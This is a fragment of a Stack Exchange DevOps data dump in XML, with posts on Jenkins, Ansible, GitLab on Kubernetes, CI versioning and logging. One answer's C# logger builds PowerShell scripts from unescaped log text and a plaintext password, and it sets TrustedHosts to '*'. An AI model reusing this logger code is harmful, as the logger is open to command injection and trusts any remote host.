Jenkinsfile&#xD;&#xA;       |-- matchengine&#xD;&#xA;       |-- posttrade&#xD;&#xA;       |-- serverless&#xD;&#xA;       |-- ui&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This strategy won't scale past small codebases because it would be hard to keep track of which modules depend one each other. You would be better off using a build system like Bazel. &#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/doc/book/pipeline/syntax/#when" ContentLicense="CC BY-SA 4.0" />
  <row Id="25615" PostHistoryTypeId="50" PostId="3947" RevisionGUID="22319de3-231f-4999-9d7a-412d288da891" CreationDate="2019-07-29T17:01:25.127" UserId="-1" />
  <row Id="25616" PostHistoryTypeId="2" PostId="8744" RevisionGUID="0d8a3a61-a30e-431b-8727-b2fbc781587c" CreationDate="2019-07-29T18:24:20.203" UserId="16247" Text="We're in process of defining a workflow for mobile builds across multiple developers.  We've only had one until recently, so we didn't have to worry too much about tracking simultaneous feature builds for QA (we use gitflow).&#xD;&#xA;&#xD;&#xA;1) Versioning&#xD;&#xA;&#xD;&#xA;Builds for the apple and android stores require versions.  But, features built for QA won't have an assigned version yet, since we don't know what release it will be in.  We are thinking of just using the current version in production, and using build counts to differentiate builds.  Is there a best practice for tracking builds in Testflight / Google Play only targeted for internal test?&#xD;&#xA;&#xD;&#xA;2) Tracking Builds in JIRA&#xD;&#xA;&#xD;&#xA;With multiple builds in the store for testing, we need to tag our JIRA tickets with the associated build in the store.  We're going to do this manually, but I'm not sure the best way to do that is.  And, if we wanted to build in some automation, what would that look like?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25617" PostHistoryTypeId="1" PostId="8744" RevisionGUID="0d8a3a61-a30e-431b-8727-b2fbc781587c" CreationDate="2019-07-29T18:24:20.203" UserId="16247" Text="Mobile CI: Versioning and Tracking Builds in JIRA" ContentLicense="CC BY-SA 4.0" />
  <row Id="25618" PostHistoryTypeId="3" PostId="8744" RevisionGUID="0d8a3a61-a30e-431b-8727-b2fbc781587c" CreationDate="2019-07-29T18:24:20.203" UserId="16247" Text="&lt;continuous-integration&gt;&lt;jira&gt;&lt;ios&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25619" PostHistoryTypeId="2" PostId="8745" RevisionGUID="e659e519-c8d3-4f72-8ce0-bc55d5e51f43" CreationDate="2019-07-29T18:49:10.510" UserId="15792" Text="The answer will vary depend on the CI/CD tooling you are using.&#xD;&#xA;&#xD;&#xA;If you are planning on using Atlassian's CI/CD tool Bamboo, you could use the Bamboo variable ${bamboo.buildNumber} which ties the build number of Bamboo to your version number.  You can have a task that will adjust the version based on this variable.  Bamboo&#xD;&#xA; integrates with Jira so that you can see the builds and deployments directly within Jira.  There is also Git so you could see the commits that went into the deployment.  This effectively would automate the second requirement you listed.&#xD;&#xA;&#xD;&#xA;There are plugins available for Jira that will integrate with other CI/CD toolsets (e.g. Jenkins, CircleCI), and the idea would be the same: let the CI/CD server automate the versioning for you." ContentLicense="CC BY-SA 4.0" />
  <row Id="25620" PostHistoryTypeId="50" PostId="8488" RevisionGUID="b66efa97-8b7b-47c2-8322-9e4030ddec11" CreationDate="2019-07-29T21:03:40.553" UserId="-1" />
  <row Id="25621" PostHistoryTypeId="2" PostId="8746" RevisionGUID="8762b274-4f05-4e4f-b9cc-bcfa1da54c45" CreationDate="2019-07-29T21:14:33.707" UserId="16251" Text="I've had a similar issue with git commands in Azure Pipelines.  The reason is that any commands that access the origin server, such as `git push` need to done by a user that has the credentials to do so.  In your situation, your PowerShell script is running in the user context of `Project Collection Build Service (yourProjectName)` and it does not have the permissions to contribute to your repo by default.&#xD;&#xA;&#xD;&#xA;See this answer, I think it will fix you up: https://stackoverflow.com/a/56542631/11767897" ContentLicense="CC BY-SA 4.0" />
  <row Id="25625" PostHistoryTypeId="2" PostId="8748" RevisionGUID="c8e5f326-72c7-4287-b768-9921882fd646" CreationDate="2019-07-30T07:06:22.187" UserId="14770" Text="i need to copy a database backup file from primary server to standby server. since i can't use `synchronize` i was doing this method, copy file to local ansible server from primary then copy it from local to standby. the name of backup files are different on every machine. for example:  &#xD;&#xA;&#xD;&#xA;    TEST1.0.db2inst1.DBPART000.20190729162630.001&#xD;&#xA;    TEST3.0.db2inst1.DBPART000.20180729172631.002  &#xD;&#xA;&#xD;&#xA;so i was using this:  &#xD;&#xA;&#xD;&#xA;     - hosts: primary&#xD;&#xA;       remote_user: root&#xD;&#xA;       tasks:&#xD;&#xA;       - name: copy backup to local file&#xD;&#xA;         fetch: src={{item}} dest=/data1/backup &#xD;&#xA;         with_fileglob: /data1/{{dbname}}.0.db2inst1.*&#xD;&#xA;      tags: transfer&#xD;&#xA;  &#xD;&#xA;     - hosts: standby&#xD;&#xA;       remote_user: root&#xD;&#xA;       tasks:&#xD;&#xA;       - name: copy backup to standby&#xD;&#xA;         copy: src={{item}} dest=/data1 mode=0755 owner=db2inst1&#xD;&#xA;         with_fileglob: /data1/backup/{{dbname}}.0.db2inst1.*&#xD;&#xA;       tags: ransfer  &#xD;&#xA;&#xD;&#xA;but it doesn't work. i get this output:  &#xD;&#xA;  &#xD;&#xA;    primary  : ok=1    changed=0    unreachable=0    failed=0    skipped=1    rescued=0    &#xD;&#xA;    standby  : ok=1    changed=0    unreachable=0    failed=0    skipped=1    rescued=0    &#xD;&#xA;&#xD;&#xA;i think the name of files are problem. what should i do?  &#xD;&#xA;the command:  &#xD;&#xA;`ansible-playbook -i hostfile transfer.yml --extra-vars &quot;dbname=TEST1&quot;`&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25626" PostHistoryTypeId="1" PostId="8748" RevisionGUID="c8e5f326-72c7-4287-b768-9921882fd646" CreationDate="2019-07-30T07:06:22.187" UserId="14770" Text="using copy module with wildcards" ContentLicense="CC BY-SA 4.0" />
  <row Id="25627" PostHistoryTypeId="3" PostId="8748" RevisionGUID="c8e5f326-72c7-4287-b768-9921882fd646" CreationDate="2019-07-30T07:06:22.187" UserId="14770" Text="&lt;ansible&gt;&lt;linux&gt;&lt;centos&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25628" PostHistoryTypeId="2" PostId="8749" RevisionGUID="adc82d26-51db-4a36-87eb-7a92a433c11e" CreationDate="2019-07-30T07:36:19.803" UserId="16201" Text="On Windows (Dotnet Core) it can be done using powershell remote-invoke.&#xD;&#xA;&#xD;&#xA;In the container you need to set a trusted host by doing:&#xD;&#xA;&#xD;&#xA;`RUN @powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force` &#xD;&#xA;&#xD;&#xA;Ideally replace the `*` with the host actual IP address. Keep in mind it changes between system restarts.&#xD;&#xA;&#xD;&#xA;On the host you need to create an Event Source called `MyLogger`.&#xD;&#xA;&#xD;&#xA;After that in your app you can create a custom logger that you add to the Microsoft Logging pipeline.&#xD;&#xA;&#xD;&#xA;**RemoteEventLogProvider.cs:**&#xD;&#xA;&#xD;&#xA;    using System.Management.Automation;&#xD;&#xA;    using System.Net;&#xD;&#xA;    using Microsoft.Extensions.Logging;&#xD;&#xA;&#xD;&#xA;    namespace LogWriter&#xD;&#xA;    {&#xD;&#xA;        public class RemoteEventLogProvider : ILoggerProvider&#xD;&#xA;        {&#xD;&#xA;            private readonly string _computer;&#xD;&#xA;            private readonly PowerShell _powershell;&#xD;&#xA;            private readonly NetworkCredential _credential;&#xD;&#xA;&#xD;&#xA;            public RemoteEventLogProvider(string computer, NetworkCredential credential)&#xD;&#xA;            {&#xD;&#xA;                _computer = computer;&#xD;&#xA;                _credential = credential;&#xD;&#xA;                _powershell = PowerShell.Create();&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            public ILogger CreateLogger(string category)&#xD;&#xA;            {&#xD;&#xA;                return new RemoteEventLogger(_computer, _credential, _powershell, category);&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            public void Dispose()&#xD;&#xA;            {&#xD;&#xA;                _powershell.Dispose();&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**RemoteEventLogger.cs**&#xD;&#xA;&#xD;&#xA;    using System;&#xD;&#xA;    using System.Management.Automation;&#xD;&#xA;    using System.Net;&#xD;&#xA;    using Microsoft.Extensions.Logging;&#xD;&#xA;&#xD;&#xA;    namespace LogWriter&#xD;&#xA;    {&#xD;&#xA;        public class RemoteEventLogger : ILogger&#xD;&#xA;        {&#xD;&#xA;            private readonly string _computer;&#xD;&#xA;            private readonly string _category;&#xD;&#xA;            private readonly PowerShell _powershell;&#xD;&#xA;            private readonly NetworkCredential _credential;&#xD;&#xA;&#xD;&#xA;            public RemoteEventLogger(string computer, NetworkCredential credential, PowerShell powershell, string category)&#xD;&#xA;            {&#xD;&#xA;                _computer = computer;&#xD;&#xA;                _category = category;&#xD;&#xA;                _credential = credential;&#xD;&#xA;                _powershell = powershell;&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            public IDisposable BeginScope&lt;TState&gt;(TState state)&#xD;&#xA;            {&#xD;&#xA;                throw new NotImplementedException();&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            public bool IsEnabled(LogLevel logLevel)&#xD;&#xA;            {&#xD;&#xA;                return true;&#xD;&#xA;            }&#xD;&#xA;&#xD;&#xA;            public void Log&lt;TState&gt;(LogLevel logLevel, EventId eventId, TState state, Exception exception, Func&lt;TState, Exception, string&gt; formatter)&#xD;&#xA;            {&#xD;&#xA;                var script = ScriptBlock.Create($&quot;$password = ConvertTo-SecureString '{_credential.Password}' -AsPlainText -Force;&quot; +&#xD;&#xA;                                                $&quot;$credential = New-Object System.Management.Automation.PSCredential ('{_credential.UserName}', $password);&quot; +&#xD;&#xA;                                                $&quot;Invoke-Command -ScriptBlock {{ Write-EventLog -EntryType {logLevel} -EventId 0 -Source MyLogger -LogName Application -Message \&quot;{formatter(state, exception)}\&quot; }} -ComputerName {_computer} -Credential $credential;&quot;);&#xD;&#xA;&#xD;&#xA;                var results = _powershell.AddScript(script.ToString()).Invoke();&#xD;&#xA;&#xD;&#xA;                _powershell.Commands.Clear();&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Example usage **Program.cs:**&#xD;&#xA;&#xD;&#xA;    using System;&#xD;&#xA;    using System.Net;&#xD;&#xA;    using System.Threading.Tasks;&#xD;&#xA;    using Microsoft.Extensions.Configuration;&#xD;&#xA;    using Microsoft.Extensions.Logging;&#xD;&#xA;&#xD;&#xA;    namespace LogWriter&#xD;&#xA;    {&#xD;&#xA;        class Program&#xD;&#xA;        {&#xD;&#xA;            static async Task Main(string[] args)&#xD;&#xA;            {&#xD;&#xA;                var config = new ConfigurationBuilder()&#xD;&#xA;                          .AddCommandLine(args)&#xD;&#xA;                          .AddEnvironmentVariables()&#xD;&#xA;                          .Build();&#xD;&#xA;&#xD;&#xA;                var computer = config[&quot;ConnectionStrings:Host.Address&quot;];&#xD;&#xA;                var provider = new RemoteEventLogProvider(computer, new NetworkCredential($&quot;{computer}\\username&quot;, &quot;password&quot;));&#xD;&#xA;&#xD;&#xA;                using (var factory = new LoggerFactory().AddConsole())&#xD;&#xA;                {&#xD;&#xA;                    factory.AddProvider(provider);&#xD;&#xA;&#xD;&#xA;                    var logger = factory.CreateLogger(&quot;MyLogger&quot;);&#xD;&#xA;&#xD;&#xA;                    logger.LogInformation($&quot;Remote log at {computer}&quot;);&#xD;&#xA;&#xD;&#xA;                    while (true)&#xD;&#xA;                    {&#xD;&#xA;                        try&#xD;&#xA;                        {&#xD;&#xA;                            logger.LogInformation($&quot;The time is {DateTime.UtcNow}&quot;);&#xD;&#xA;&#xD;&#xA;                            if (DateTime.UtcNow.Second % 2 == 0)&#xD;&#xA;                            {&#xD;&#xA;                                throw new Exception(&quot;random shit&quot;);&#xD;&#xA;                            }&#xD;&#xA;                            else&#xD;&#xA;                            {&#xD;&#xA;                                logger.LogWarning(&quot;Example warning&quot;);&#xD;&#xA;                            }&#xD;&#xA;                        }&#xD;&#xA;                        catch (Exception ex)&#xD;&#xA;                        {&#xD;&#xA;                            logger.LogError(ex, ex.Message);&#xD;&#xA;                        }&#xD;&#xA;&#xD;&#xA;                        await Task.Delay(TimeSpan.FromSeconds(5));&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Example **Dockerfile**:&#xD;&#xA;&#xD;&#xA;    # Build&#xD;&#xA;    FROM mcr.microsoft.com/dotnet/core/sdk:2.2 AS build-env&#xD;&#xA;    WORKDIR /app&#xD;&#xA;    COPY . /app&#xD;&#xA;&#xD;&#xA;    RUN dotnet publish -c Release -o /app/out&#xD;&#xA;&#xD;&#xA;    # Runtime&#xD;&#xA;    FROM mcr.microsoft.com/windows/servercore:ltsc2019&#xD;&#xA;    RUN curl -o c:\dotnet.exe https://download.visualstudio.microsoft.com/download/pr/a9bb6d52-5f3f-4f95-90c2-084c499e4e33/eba3019b555bb9327079a0b1142cc5b2/dotnet-hosting-2.2.6-win.exe&#xD;&#xA;    RUN c:\dotnet.exe /quiet /install&#xD;&#xA;&#xD;&#xA;    # Host&#xD;&#xA;    RUN @powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force&#xD;&#xA;&#xD;&#xA;    # Application&#xD;&#xA;    WORKDIR /app&#xD;&#xA;    COPY --from=build-env /app/out .&#xD;&#xA;&#xD;&#xA;    ENTRYPOINT dotnet LogWriter.dll" ContentLicense="CC BY-SA 4.0" />
  <row Id="25629" PostHistoryTypeId="5" PostId="8748" RevisionGUID="834eaad5-8875-47ab-8802-8f27dfe69917" CreationDate="2019-07-30T07:58:39.797" UserId="354" Comment="Capitalise sentences, and re-work for better comprehension" Text="I need to copy a database backup file from a primary server to a standby server. Since I can't use `synchronize`, I was following this method:&#xD;&#xA;&#xD;&#xA;1. copy file to local ansible server from primary,&#xD;&#xA;2. then, copy it from local to standby.&#xD;&#xA;&#xD;&#xA;The name of backup files are different on every machine. for example:  &#xD;&#xA;&#xD;&#xA;    TEST1.0.db2inst1.DBPART000.20190729162630.001&#xD;&#xA;    TEST3.0.db2inst1.DBPART000.20180729172631.002  &#xD;&#xA;&#xD;&#xA;The playbook I was using looked like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;     - hosts: primary&#xD;&#xA;       remote_user: root&#xD;&#xA;       tasks:&#xD;&#xA;       - name: copy backup to local file&#xD;&#xA;         fetch: src={{item}} dest=/data1/backup &#xD;&#xA;         with_fileglob: /data1/{{dbname}}.0.db2inst1.*&#xD;&#xA;      tags: transfer&#xD;&#xA;  &#xD;&#xA;     - hosts: standby&#xD;&#xA;       remote_user: root&#xD;&#xA;       tasks:&#xD;&#xA;       - name: copy backup to standby&#xD;&#xA;         copy: src={{item}} dest=/data1 mode=0755 owner=db2inst1&#xD;&#xA;         with_fileglob: /data1/backup/{{dbname}}.0.db2inst1.*&#xD;&#xA;       tags: ransfer  &#xD;&#xA;&#xD;&#xA;(The playbook is run with the command: `ansible-playbook -i hostfile transfer.yml --extra-vars &quot;dbname=TEST1&quot;`)&#xD;&#xA;&#xD;&#xA;However, this doesn't work; I get this output:&#xD;&#xA;  &#xD;&#xA;    primary  : ok=1    changed=0    unreachable=0    failed=0    skipped=1    rescued=0    &#xD;&#xA;    standby  : ok=1    changed=0    unreachable=0    failed=0    skipped=1    rescued=0    &#xD;&#xA;&#xD;&#xA;I think the name of files are problem. What should I do?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25630" PostHistoryTypeId="24" PostId="8748" RevisionGUID="834eaad5-8875-47ab-8802-8f27dfe69917" CreationDate="2019-07-30T07:58:39.797" Comment="Proposed by 354 approved by 14770 edit id of 1036" ContentLicense="CC BY-SA 4.0" />
  <row Id="25634" PostHistoryTypeId="2" PostId="8751" RevisionGUID="df5581bb-4c81-4338-b28a-3d733ed8302b" CreationDate="2019-07-30T09:39:01.873" UserId="15022" Text="Thanks for linking your question. Here's the github thread for reference: https://github.com/geerlingguy/ansible-role-certbot/issues/87&#xD;&#xA;&#xD;&#xA;There are many different ways to get certs from a CA. certbot (what this repo uses) is just one of the ways which uses letsencrypt as a certificate authority. acme_certificate is more generic and if you can't use letsencrypt then it might be a good tool to check out for http-01, dns-01 and tls-alpn-01 challenges.&#xD;&#xA;&#xD;&#xA;Certbot is a great way to manage certs from letsencrypt, so if you're needs are fairly standard this is a good choice. It's a higher level package and will also handle auto renewal (assuming you enable it).&#xD;&#xA;&#xD;&#xA;it is possible to do renewals with acme_certificate. You could do something similar with letsencrypt https://docs.ansible.com/ansible/2.5/modules/letsencrypt_module.html . certbot just handles a lot of this for you, specifically for letsencrypt.&#xD;&#xA;&#xD;&#xA;Personally I think using certbot to help manage certificates is simpler, but that's up to you. certbot is an application that handles the verification process for with the certificate authority, which is very handy. With acme_certificate you'll essentially be doing that yourself. It also automatically can set up automatic renewals which is very nice." ContentLicense="CC BY-SA 4.0" />
  <row Id="25635" PostHistoryTypeId="50" PostId="8495" RevisionGUID="d934aea6-5389-4438-b350-9a5baf56f865" CreationDate="2019-07-30T11:02:30.283" UserId="-1" />
  <row Id="25640" PostHistoryTypeId="2" PostId="8752" RevisionGUID="b306702b-c496-4313-86d3-55c18e671686" CreationDate="2019-07-30T11:55:51.917" UserId="354" Text="We have a practical question I struggle to answer, but would have great benefit if it could be codified : &#xD;&#xA;&#xD;&#xA;&gt; What is a good logfile schema?&#xD;&#xA;&#xD;&#xA;Here are the caveats:&#xD;&#xA;&#xD;&#xA;- There are several workloads, each writing more than one log file&#xD;&#xA;- Applications are on more than one language&#xD;&#xA;- All applications are in the cloud, but on different cloud providers&#xD;&#xA;- All logs are sent to a central dashboard (e.g. Kibana) which can be queried.&#xD;&#xA;&#xD;&#xA;The requirements which this schema should fulfill are:&#xD;&#xA;&#xD;&#xA;- must be queryable (structured)&#xD;&#xA;- should be able to determine failure patterns (correlations)&#xD;&#xA;- no proprietary file formats&#xD;&#xA;&#xD;&#xA;For a particular case, we may want to set a trigger of some action based on a particular query.&#xD;&#xA;&#xD;&#xA;Assuming, e.g. we write logs in JSON format, what would be a good schema to apply to the entries, to satisfy the caveats and requirements?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25641" PostHistoryTypeId="1" PostId="8752" RevisionGUID="b306702b-c496-4313-86d3-55c18e671686" CreationDate="2019-07-30T11:55:51.917" UserId="354" Text="What considerations should be taken into account for a good log file format?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25642" PostHistoryTypeId="3" PostId="8752" RevisionGUID="b306702b-c496-4313-86d3-55c18e671686" CreationDate="2019-07-30T11:55:51.917" UserId="354" Text="&lt;monitoring&gt;&lt;cloud&gt;&lt;logging&gt;&lt;methodology&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25648" PostHistoryTypeId="2" PostId="8754" RevisionGUID="4c574e5b-ac79-4a96-9b93-7f283d24a1c1" CreationDate="2019-07-30T14:44:23.730" UserId="6923" Text="[Using the official helm chart and documentation](https://docs.gitlab.com/charts/), I want to deploy GitLab to Kubernetes. [The storage guide](https://docs.gitlab.com/charts/installation/storage.html) shows how to store persistent data and also offers [example Helm values](https://gitlab.com/charts/gitlab/blob/master/examples/storage/helm_options.yml). Sadly this doesn't work for all services bundled in GitLabs chart. I want to set `local-path` as storage class but some pvcs ignore this:&#xD;&#xA;&#xD;&#xA;    $ kg pvc&#xD;&#xA;    NAME                        STATUS    VOLUME   CAPACITY   ACCESS MODES   STORAGECLASS   AGE&#xD;&#xA;    gitlab-minio                Pending                                      local-path     61s&#xD;&#xA;    gitlab-postgresql           Pending                                      local-path     61s&#xD;&#xA;    gitlab-prometheus-server    Pending                                                     61s&#xD;&#xA;    gitlab-redis                Pending                                      local-path     61s&#xD;&#xA;    repo-data-gitlab-gitaly-0   Pending                                                     19h&#xD;&#xA;&#xD;&#xA;You can see that Prometheus and Gitaly doesn't have a storage class, algouth I set it in the values:&#xD;&#xA;&#xD;&#xA;    global:&#xD;&#xA;      gitlabVersion: 11.0.1&#xD;&#xA;      hosts:&#xD;&#xA;        domain: gitlab.example.com&#xD;&#xA;        https: true&#xD;&#xA;    &#xD;&#xA;      gitlab:&#xD;&#xA;        https: true&#xD;&#xA;    &#xD;&#xA;      minio:&#xD;&#xA;        enabled: true&#xD;&#xA;    &#xD;&#xA;      prometheus:&#xD;&#xA;        enabled: false&#xD;&#xA;    &#xD;&#xA;      ingress:&#xD;&#xA;        enabled: true&#xD;&#xA;        tls:&#xD;&#xA;          enabled: true&#xD;&#xA;          secretName: gitlab-tls&#xD;&#xA;        configureCertmanager: false&#xD;&#xA;        annotations:&#xD;&#xA;          certmanager.k8s.io/cluster-issuer: &quot;letsencrypt-prod&quot;&#xD;&#xA;    &#xD;&#xA;      certmanager:&#xD;&#xA;        install: false&#xD;&#xA;    &#xD;&#xA;    gitlab:&#xD;&#xA;      gitaly:&#xD;&#xA;        persistence:&#xD;&#xA;          storageClass: local-path&#xD;&#xA;          size: 50Gi&#xD;&#xA;    &#xD;&#xA;    minio:&#xD;&#xA;      persistence:&#xD;&#xA;        enabled: true&#xD;&#xA;        storageClass: local-path&#xD;&#xA;        size: 20Gi&#xD;&#xA;        accessMode: ReadWriteOnce&#xD;&#xA;    &#xD;&#xA;    postgresql:&#xD;&#xA;      persistence:&#xD;&#xA;        enabled: true&#xD;&#xA;        storageClass: local-path&#xD;&#xA;        size: 10Gi&#xD;&#xA;    &#xD;&#xA;    redis:&#xD;&#xA;      persistence:&#xD;&#xA;        enabled: true&#xD;&#xA;        storageClass: local-path&#xD;&#xA;        size: 5Gi&#xD;&#xA;&#xD;&#xA;It also confuses me that some values need to be set under the `global` key, where others have their own key. But my primary question is: Why is my `storageClass` ignored for `gitaly`, altough I followed the example from the docs? And how can I configure the pvc of Prometheus, which isn't even part of this example?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25649" PostHistoryTypeId="1" PostId="8754" RevisionGUID="4c574e5b-ac79-4a96-9b93-7f283d24a1c1" CreationDate="2019-07-30T14:44:23.730" UserId="6923" Text="Persistent storageClass for GitLab on Kubernetes" ContentLicense="CC BY-SA 4.0" />
  <row Id="25650" PostHistoryTypeId="3" PostId="8754" RevisionGUID="4c574e5b-ac79-4a96-9b93-7f283d24a1c1" CreationDate="2019-07-30T14:44:23.730" UserId="6923" Text="&lt;kubernetes&gt;&lt;gitlab&gt;&lt;helm&gt;&lt;volume&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25651" PostHistoryTypeId="2" PostId="8755" RevisionGUID="64be194e-523b-40f8-b4a8-5712b1e1fce7" CreationDate="2019-07-30T15:16:03.023" UserId="16271" Text="What I'm looking for is a task (or tasks) to read whatever .yml files exist in a specified folder and combine them into a file containing all the variables. For example:&#xD;&#xA;&#xD;&#xA;pets/steves_pets.yml:&#xD;&#xA;&#xD;&#xA;    cats:&#xD;&#xA;      - spot&#xD;&#xA;      - snowy&#xD;&#xA;    hamsters:&#xD;&#xA;      - mephistopheles&#xD;&#xA;&#xD;&#xA;And&#xD;&#xA;&#xD;&#xA;pets/jacks-pets.yml:&#xD;&#xA;&#xD;&#xA;    dogs:&#xD;&#xA;      - rex&#xD;&#xA;      - woof&#xD;&#xA;    hamsters:&#xD;&#xA;      - prometheus&#xD;&#xA;&#xD;&#xA;Becomes&#xD;&#xA;&#xD;&#xA;wherever/all-pets.yml:&#xD;&#xA;&#xD;&#xA;    cats:&#xD;&#xA;      - spot&#xD;&#xA;      - snowy&#xD;&#xA;    dogs:&#xD;&#xA;      - rex&#xD;&#xA;      - woof&#xD;&#xA;    hamsters:&#xD;&#xA;      - mephistopheles&#xD;&#xA;      - prometheus&#xD;&#xA;&#xD;&#xA;In fact it's not even necessary to generate an all-pets.yml - as long as the full combined list is available to Ansible for use in roles / tasks. But a combined list file approach would be fine if easier.&#xD;&#xA;&#xD;&#xA;Any pointers would be greatly appreciated!" ContentLicense="CC BY-SA 4.0" />
  <row Id="25652" PostHistoryTypeId="1" PostId="8755" RevisionGUID="64be194e-523b-40f8-b4a8-5712b1e1fce7" CreationDate="2019-07-30T15:16:03.023" UserId="16271" Text="Ansible fetch all vars files from a directory to generate a combined vars file" ContentLicense="CC BY-SA 4.0" />
  <row Id="25653" PostHistoryTypeId="3" PostId="8755" RevisionGUID="64be194e-523b-40f8-b4a8-5712b1e1fce7" CreationDate="2019-07-30T15:16:03.023" UserId="16271" Text="&lt;ansible&gt;&lt;jinja&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25654" PostHistoryTypeId="2" PostId="8756" RevisionGUID="2c1f9a3c-dfad-4adf-b901-4930251cb043" CreationDate="2019-07-30T15:42:03.103" UserId="13217" Text="I'm looking for strategies to mitigate silent errors related to misspelled or otherwise mistyped variables being passed to Ansible roles.&#xD;&#xA;&#xD;&#xA;So for example, I have a role with a defaults/main.yml:&#xD;&#xA;```&#xD;&#xA;foo_version: &quot;1.0&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Within the tasks/main.yml:&#xD;&#xA;```&#xD;&#xA;- get_url:&#xD;&#xA;    url: &quot;https://foo.com/foo-{{ foo_version }}.tar.gz&quot;&#xD;&#xA;    dest: /tmp/&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now in my main playbook, if I do this, it will install the default version, 1.0:&#xD;&#xA;```&#xD;&#xA;- include_role: name=foo&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If I do this, it will install version 2.0:&#xD;&#xA;```&#xD;&#xA;- include_role: name=foo&#xD;&#xA;  vars:&#xD;&#xA;    foo_version: &quot;2.0&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So far so good. But if I do this by accident, it will install 1.0 without my realizing it:&#xD;&#xA;```&#xD;&#xA;- include_role: name=foo&#xD;&#xA;  vars:&#xD;&#xA;    fooo_version: &quot;2.0&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The only &quot;solution&quot; I've thought of is to remove the defaults/main.yml, in which case it would fail in the last case because `foo_version` would remain undefined. But then I can't take advantage of the benefits of having defaults.&#xD;&#xA;&#xD;&#xA;Are there other solutions? Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="25655" PostHistoryTypeId="1" PostId="8756" RevisionGUID="2c1f9a3c-dfad-4adf-b901-4930251cb043" CreationDate="2019-07-30T15:42:03.103" UserId="13217" Text="Prevent misspelled variables passed to Ansible roles" ContentLicense="CC BY-SA 4.0" />
  <row Id="25656" PostHistoryTypeId="3" PostId="8756" RevisionGUID="2c1f9a3c-dfad-4adf-b901-4930251cb043" CreationDate="2019-07-30T15:42:03.103" UserId="13217" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25657" PostHistoryTypeId="2" PostId="8757" RevisionGUID="2230e898-f6eb-4d29-bd00-efed2242a2fe" CreationDate="2019-07-30T15:42:35.223" UserId="354" Text="Sounds like you want the [combine](https://docs.ansible.com/ansible/latest/user_guide/playbooks_filters.html?highlight=filter#combining-hashes-dictionaries) filter.&#xD;&#xA;&#xD;&#xA;You could read each file into a specific variable, then use the combine filter to create `all-pets`. At that point, it would be in memory of course, so you might want to use the answer to https://stackoverflow.com/questions/26638180/write-variable-to-a-file-in-ansible to write it to a file." ContentLicense="CC BY-SA 4.0" />
  <row Id="25658" PostHistoryTypeId="5" PostId="8757" RevisionGUID="829c4876-10a9-441d-948d-6e6751b1b3ed" CreationDate="2019-07-30T15:49:37.170" UserId="354" Comment="Add link to the actual answer " Text="Sounds like you want the [combine](https://docs.ansible.com/ansible/latest/user_guide/playbooks_filters.html?highlight=filter#combining-hashes-dictionaries) filter.&#xD;&#xA;&#xD;&#xA;You could read each file into a specific variable, then use the combine filter to create `all-pets`. At that point, it would be in memory of course, so you might want to use the [answer](https://stackoverflow.com/a/26640778/2707870) to [this question](https://stackoverflow.com/questions/26638180/write-variable-to-a-file-in-ansible) to write it to a file:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- name: Read vars&#xD;&#xA;  include_vars:&#xD;&#xA;    file: &quot;pets/{{ item }}_pets.yml&quot;&#xD;&#xA;    var: &quot;{{ item }}&quot;&#xD;&#xA;  loop:&#xD;&#xA;    - steves&#xD;&#xA;    - jacks&#xD;&#xA;  &#xD;&#xA;- name: Combine vars&#xD;&#xA;  set_fact:&#xD;&#xA;    all_pets: {{ steves | combine(jacks) }}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;- name: Write the file&#xD;&#xA;  copy:&#xD;&#xA;    content: &quot;{{ all_pets | to_yaml }}&quot;&#xD;&#xA;    dest: pets/all_pets.yml&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25659" PostHistoryTypeId="2" PostId="8758" RevisionGUID="f592c2d2-f8bf-41e6-ba63-1eaaafd5e4cb" CreationDate="2019-07-30T15:57:19.500" UserId="7078" Text="Interrupt and unplanned work is a significant component of what most SRE or DevOps teams do.  While it is always useful to use a tracking system like Jira to manage work, do the agile practices like sprint or kanban really work for SRE teams?&#xD;&#xA;&#xD;&#xA;The constraints I see are:&#xD;&#xA;&#xD;&#xA;- the work is very dynamic in nature, with priorities changing on a daily basis&#xD;&#xA;- people being on call adds another dimension to the problem&#xD;&#xA;- the team doesn't have a single &quot;product&quot; and hence it doesn't yield itself to a common planning process&#xD;&#xA;- daily standup meetings may not make much sense because of the lack of overlap between tasks&#xD;&#xA;&#xD;&#xA;I would like to hear from other SREs what their experience with sprint and kanban is." ContentLicense="CC BY-SA 4.0" />
